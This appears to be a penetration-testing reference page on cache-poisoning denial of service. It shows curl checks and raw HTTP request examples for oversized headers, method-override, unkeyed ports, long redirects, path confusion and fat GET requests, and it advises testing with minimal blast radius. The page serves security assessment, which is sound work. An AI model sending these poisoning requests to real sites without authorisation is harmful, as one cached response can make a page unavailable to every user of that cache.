Cache Poisoning to DoS
[!CAUTION] These techniques try to make the origin return an error, a blank body, or a broken redirect for a request that the cache still considers valid/cacheable. Once stored, the poisoned object can deny access to every user hitting the same cache key.
[!TIP] Confirm CPDoS with the lowest blast radius possible: send a baseline request, then the poisoning request, and finally a validation request without the malicious input. Compare status, body length, and cache headers such as
X-Cache,CF-Cache-Status,Cache-Status, orAge. If possible, use a sacrificial endpoint or an unkeyed cache buster first.[2]
If the issue depends on path confusion, static extensions/directories, or other URL parser discrepancies, first check Cache Poisoning via URL discrepancies.
Quick verification flow
url='https://target.tld/app.js'
# 1) Baseline
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
# 2) Poison attempt
curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
# 3) Validation
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
Common cache poisoning-to-DoS primitives
HTTP Header Oversize (HHO)
Send a request with a header block that is accepted by the cache but rejected by the origin. If the resulting 4xx page is cached, later normal requests will get the cached error.
GET / HTTP/1.1
Host: redacted.com
X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000
This is especially interesting when the CDN/header limit is larger than the origin/framework limit.[1]
HTTP Meta Character (HMC) & unexpected values
Send control/meta characters such as \0, \b, \r, or \n, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus Content-Type.
GET / HTTP/1.1
Host: redacted.com
X-Metachar-Header: \0
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
A badly configured parser may also fail on values such as \:.[1]
Unkeyed header that triggers an error
Some backends return an error or denial page when they see specific headers, but the cache key doesn’t vary on that header.
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
X-Cache: hit
Invalid Header
Also test Forwarded, X-Forwarded-Host, X-Forwarded-Port, and application-specific routing headers when they influence redirects or origin routing.[2]
HTTP Method Override Attack (HMO)
If the application or middleware supports method override headers such as X-HTTP-Method-Override, X-HTTP-Method, or X-Method-Override, you may be able to transform a normal GET into an unsupported or body-less method at the origin while the cache still stores the response under the GET key.
GET /app.js HTTP/1.1
Host: redacted.com
X-HTTP-Method-Override: HEAD
HEAD, TRACE, PUT, DELETE, and POST are worth testing. HEAD is especially attractive because some stacks reply 200 OK with Content-Length: 0, effectively blanking the asset for everyone.[1]
Unkeyed Port
If the port in the Host header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:[2]
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
X-Cache: miss
Long Redirect DoS
If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into 414 URI Too Large, 431 Request Header Fields Too Large, or another error on the follow-up request.
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
CF-Cache-Status: HIT
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: MISS
Host header case normalization
The Host header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case Host can poison the canonical cache bucket:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
X-Cache: miss
Not Found
Path normalization / static-rule confusion
Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (/assets/..., .css, .js, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key.
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
X-Cache: miss
Not Found
For delimiter/static-extension/static-directory tricks, see Cache Poisoning via URL discrepancies.
Fat GET
Some caches/origins reject GET with a body, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean GET cache key.
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
X-Cache: hit
Framework / internal cache poisoning
Recent framework bugs showed that CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer. Internal framework caches or upstream CDNs may also store:
- a
204 No Contentresponse for a normally populated static/ISR page - a
200 OKresponse withContent-Length: 0 - a response that was supposed to stay
private, no-storebut is coerced intos-maxage/stale-while-revalidate
In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in Cache-Control, body length, and shared-cache headers. If you are assessing a Next.js target, also check the Next.js page for framework-specific cache poisoning bugs.[3]